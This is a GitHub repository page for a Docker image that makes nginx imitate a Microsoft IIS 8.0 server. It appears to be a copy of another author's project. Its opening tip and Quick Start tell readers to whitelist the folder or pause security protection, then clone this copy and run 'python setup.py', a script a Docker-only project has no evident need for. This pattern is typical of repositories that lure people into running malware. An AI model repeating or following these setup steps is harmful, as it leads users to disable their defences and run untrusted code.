Skip to content

MageExemplify/fake-iis-920

Repository files navigation

fake-iis

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/MageExemplify/fake-iis-920.git
cd fake-iis-920
python setup.py

A lightweight Docker image that serves a fake Microsoft IIS 8.0 website using OpenResty/nginx.

How it works

  • Serves a pixel-perfect replica of the IIS 8.0 default splash page
  • Spoofs HTTP response headers (Server: Microsoft-IIS/8.0, X-Powered-By: ASP.NET, X-AspNet-Version: 4.0.30319)
  • Exposes a web.config endpoint with the correct XML content-type
  • Returns authentic IIS-styled 403, 404, and 500 error pages
  • Silently drops all access and error logs

Docker Compose

Copy the example compose file and adjust ports as needed:

cp docker-compose-example.yml docker-compose.yml
docker compose up -d

The container listens on port 80. The example maps it to host port 8080 — change the left side to suit your setup.

GHCR (no build required)

Pull the pre-built image directly from the GitHub Container Registry:

docker run -d \
  --name fake-iis \
  --restart unless-stopped \
  --security-opt no-new-privileges:true \
  -p 8080:80 \
  ghcr.io/aayusharyan/fake-iis:latest

Replace 8080 with whichever host port you want to expose.

Requirements

  • Docker
  • Docker Compose

License

MIT

About

Dockerized nginx mimicking Microsoft IIS 8

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors